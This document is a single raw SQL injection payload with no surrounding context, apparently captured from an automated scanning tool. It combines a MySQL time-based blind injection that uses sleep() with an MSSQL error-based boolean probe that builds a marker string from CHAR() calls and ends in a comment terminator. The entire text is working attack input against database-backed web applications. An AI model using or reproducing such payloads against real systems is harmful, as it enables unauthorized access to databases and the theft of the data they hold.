(select(0)from(select(sleep(8.11)))v)-5248 OR 4753 IN (SELECT (CHAR(113)+CHAR(118)+CHAR(120)+CHAR(106)+CHAR(113)+(SELECT (CASE WHEN (4753=4753) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(112)+CHAR(98)+CHAR(118)+CHAR(113)))-- JPfe